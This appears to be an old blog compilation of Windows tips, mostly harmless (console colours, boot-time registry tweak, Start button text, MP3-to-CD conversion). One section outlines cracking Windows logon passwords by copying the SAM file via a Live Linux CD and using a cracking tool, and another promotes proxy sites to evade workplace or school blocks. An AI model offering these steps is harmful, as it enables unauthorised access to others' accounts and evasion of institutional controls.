If you are in office or school or university campus where Orkut is blocked, either by the office administrator or by your organization then you can access it easily without any hassles. This can also be tried by users living in countries where Orkut is blocked by their ISP. There are 2 sites that can help:
1.Just go to www.mathtunnel.com and type in the name of any site you want to access. This works for Orkut and other blocked sites too.
2.There is one more site www.gravitywars.com .This is very good as it is updated regularly.
Even though the blocked sites can be accessed through proxy servers as I have discussed in my earlier post, but i have noticed that the sites for proxy servers is blocked at various places.

Cracking Windows Logon Password.(Hacking SAM file) Windows NT/2000/XP/2003
SAM File - Holds the user names and password hashes for every account on the local machine, or domain if it is a domain controller.
-What are password Hashes? Actually when we enter password in Windows Logon Tab, Windows encryptsour password using an encryption scheme that turns our password into something that looks like this: 65464564s1d4d2c9a56s42166d55se SAM file can be found under C:(default OS drive) -> WINNT -> System32 -> Config -> SAM. SAM file can be cracked by sing a simple freeware software "SAMInside". Troubleshooting : While copying SAM file it shows an error of "Access Denied" or "File in Use". Actually copying of SAM file is restricted by Windows. There are many alternatives to copy SAM file. [1] You can boot your system by a Live Linux CD such as Knnopix or Fedora. Linux has access to all Windows Files. This way SAM file can be easily copied.

Change DOS Colour
SYNTAX Sets the default console foreground and background colors.
COLOR [attr]
attr Specifies color attribute of console output
Color attributes are specified by TWO hex digits -- the first corresponds to the background; the second the foreground. Each digit can be any of the below values.
0 = Black 8 = Gray 1 = Blue 9 = Light Blue 2 = Green A = Light Green 3 = Aqua B = Light Aqua 4 = Red C = Light Red 5 = Purple D = Light Purple 6 = Yellow E = Light Yellow 7 = White F = Bright White If no argument is given, this command restores the color to what it was when CMD.EXE started. This value either comes from the current console window, the /T command line switch or from the Default Color registry value. The COLOR command sets ERROR LEVEL to 1 if an attempt is made to execute the COLOR command with a foreground and background color that are the same. EXAMPLE
Color 2A = Creates a green background with light bright green text, similar to many of the FTP, telnet, and old BBS console screens.
Valid for a session only.

Speed Up XP Booting
Start Registry Editor (Regedit.exe).
Locate the following key in the registry:
HKEY_LOCAL_MACHINE\SYSTEM\Current ControlSet\Control\Ses sionManager\MemoryManagement\Prefetch Parameters
Make sure you backup the keys by exporting them to a .reg file.
On the EnablePrefetcher value, change the setting from 3 to 5 (decimal).
Close the registry editor.
Restart your computer.

Change Text on XP Start button
Now that the modified explorer.exe has been created it’s necessary to modify the registry so the file will be recognized when the user logs on to the system. If you don’t know how to access the registry I’m not sure this article is for you, but just in case it’s a temporary memory lapse, go to Start (soon to be something else) Run and type regedit in the Open: field. Navigate to:
HKEY_LOCAL_MACHINE\ SOFTWARE\ Microsoft\ Windows NT\ CurrentVersion\ Winlogon
In the right pane, double click the Shell entry to open the Edit String dialog box. In Value data: line, enter the name that was used to save the modified explorer.exe file. Click OK.
Close Registry Editor and either log off the system and log back in, or reboot the entire system if that’s your preference. If all went as planned you should see your new Start button with the revised text.

Disable or Remove Shutdown

How to Convert MP3 to CD
How to Convert MP3's to CD
MP3 audio has been compressed to about one-tenth of the original "wav" file from whence it came. In order for the MP3 songs you have downloaded from the Internet to be recorded onto an Audio Compatible CD, (that is to say - a CD that can be played in most any cd player like the one in your car), the MP3 files must be un-compressed and converted into 16Bit 44.1kHz WAV files. A software MP3-to-WAV conversion utility is called a "decoder".
The CD recording software that comes included with new cd burners may or may not have a "MP3-to-Wav Decoder" in its toolbox.
One exception is Nero 5.5 Burning ROM software from Ahead Software. Nero can decode mp3's to wav on-the-fly in real time, eliminating the extra step, a nice time-saver and space saver!
Another terrific new software is Dart CD Recorder 4.1
